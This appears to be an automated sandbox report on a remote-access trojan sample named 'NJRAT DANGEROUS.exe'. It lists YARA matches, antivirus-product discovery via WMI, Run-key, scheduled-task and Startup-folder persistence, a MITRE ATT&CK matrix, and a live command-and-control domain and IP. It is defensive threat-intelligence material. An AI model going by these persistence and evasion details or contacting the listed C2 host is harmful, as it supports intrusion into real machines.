Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Queries volume information: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Queries volume information: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Queries volume information: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Queries volume information: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe VolumeInformation

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: NJRAT DANGEROUS.exe, 00000000.00000002.3343668388.000000001BC13000.00000004.00000020.00020000.00000000.sdmp, NJRAT DANGEROUS.exe, 00000000.00000002.3343668388.000000001BBC8000.00000004.00000020.00020000.00000000.sdmp, NJRAT DANGEROUS.exe, 00000000.00000002.3310773959.0000000000EC6000.00000004.00000020.00020000.00000000.sdmp, NJRAT DANGEROUS.exe, 00000000.00000002.3310773959.0000000000ECC000.00000004.00000020.00020000.00000000.sdmp, NJRAT DANGEROUS.exe, 00000000.00000002.3310773959.0000000000F83000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected XWorm

Source: Yara match	File source: NJRAT DANGEROUS.exe, type: SAMPLE
Source: Yara match	File source: 0.0.NJRAT DANGEROUS.exe.a40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2040464728.0000000000A42000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3316762104.0000000002DF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NJRAT DANGEROUS.exe PID: 2520, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe, type: DROPPED

Remote Access Functionality

Yara detected XWorm

Source: Yara match	File source: NJRAT DANGEROUS.exe, type: SAMPLE
Source: Yara match	File source: 0.0.NJRAT DANGEROUS.exe.a40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2040464728.0000000000A42000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3316762104.0000000002DF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NJRAT DANGEROUS.exe PID: 2520, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 Scheduled Task/Job	11 Process Injection	1 Masquerading	OS Credential Dumping	441 Security Software Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	2 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	11 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	1 DLL Side-Loading	2 Registry Run Keys / Startup Folder	51 Virtualization/Sandbox Evasion	Security Account Manager	51 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Obfuscated Files or Information	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Software Packing	DCSync	23 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
NJRAT DANGEROUS.exe	65%	Virustotal		Browse
NJRAT DANGEROUS.exe	82%	ReversingLabs	ByteCode-MSIL.Spyware.AsyncRAT
NJRAT DANGEROUS.exe	100%	Avira	HEUR/AGEN.1305769
NJRAT DANGEROUS.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	100%	Avira	HEUR/AGEN.1305769
C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	82%	ReversingLabs	ByteCode-MSIL.Spyware.AsyncRAT

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
soon-lp.at.ply.gg	5%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
soon-lp.at.ply.gg	100%	Avira URL Cloud	malware
http://schemas.mic	0%	Avira URL Cloud	safe
soon-lp.at.ply.gg	5%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
soon-lp.at.ply.gg	147.185.221.181	true	true	5%, Virustotal, Browse	unknown
ip-api.com	208.95.112.1	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
soon-lp.at.ply.gg	true	5%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://ip-api.com/line/?fields=hosting	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.2217285886.00000232412B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2309591959.000002822E591000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2468079949.0000021569880000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.mic	powershell.exe, 00000002.00000002.2222361705.00000232495B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000008.00000002.2369678942.0000021559A39000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000002.00000002.2192898603.0000023231469000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2254869671.000002821E749000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2369678942.0000021559A39000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000008.00000002.2369678942.0000021559A39000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000002.00000002.2192898603.0000023231469000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2254869671.000002821E749000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2369678942.0000021559A39000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000008.00000002.2468079949.0000021569880000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.2217285886.00000232412B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2309591959.000002822E591000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2468079949.0000021569880000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.microsoft.co	powershell.exe, 00000002.00000002.2222361705.00000232495B2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000008.00000002.2468079949.0000021569880000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000008.00000002.2468079949.0000021569880000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.microsoft.	powershell.exe, 00000006.00000002.2323742781.0000028236B50000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000002.00000002.2192898603.0000023231241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2254869671.000002821E521000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2369678942.0000021559811000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	NJRAT DANGEROUS.exe, 00000000.00000002.3316762104.0000000002DF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2192898603.0000023231241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2254869671.000002821E521000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2369678942.0000021559811000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.m	powershell.exe, 00000002.00000002.2192793183.000002323111C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000008.00000002.2369678942.0000021559A39000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States		53334	TUT-ASUS	false
147.185.221.181	soon-lp.at.ply.gg	United States		12087	SALSGIVERUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1575695
Start date and time:	2024-12-16 08:37:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	NJRAT DANGEROUS.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@18/19@2/2
EGA Information:	Successful, ratio: 12.5%
HCA Information:	Successful, ratio: 100% Number of executed functions: 76 Number of non-executed functions: 4
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 52.149.20.212
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target NJRAT DANGEROUS.exe, PID 1772 because it is empty
Execution Graph export aborted for target NJRAT DANGEROUS.exe, PID 2508 because it is empty
Execution Graph export aborted for target NJRAT DANGEROUS.exe, PID 4912 because it is empty
Execution Graph export aborted for target NJRAT DANGEROUS.exe, PID 5476 because it is empty
Execution Graph export aborted for target powershell.exe, PID 2860 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7156 because it is empty
Execution Graph export aborted for target powershell.exe, PID 748 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:38:09	API Interceptor	55x Sleep call for process: powershell.exe modified
02:38:47	API Interceptor	888584x Sleep call for process: NJRAT DANGEROUS.exe modified
08:38:46	Task Scheduler	Run new task: NJRAT DANGEROUS path: C:\Users\user\AppData\Roaming\NJRAT s>DANGEROUS.exe
08:38:47	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run NJRAT DANGEROUS C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe
08:38:55	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run NJRAT DANGEROUS C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe
08:39:03	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NJRAT DANGEROUS.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	com surrogate.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	jerniuiopu.exe	Get hash	malicious	Blackshades	Browse	ip-api.com/json/
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, LummaC Stealer, Vidar, XWorm, Xmrig	Browse	ip-api.com/line/?fields=hosting
	RdLfpZY5A9.exe	Get hash	malicious	77Rootkit, XWorm	Browse	ip-api.com/line/?fields=hosting
	7laJ4zKd8O.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	3edTbzftGf.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	ip-api.com/json/
	gjvU5KOFhX.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse	ip-api.com/json/
	hvqc3lk7ly.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	ip-api.com/json/
	da6ke5KbfB.exe	Get hash	malicious	AsyncRAT, Babadeda, XWorm	Browse	ip-api.com/line/?fields=hosting
	03VPFXH490.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
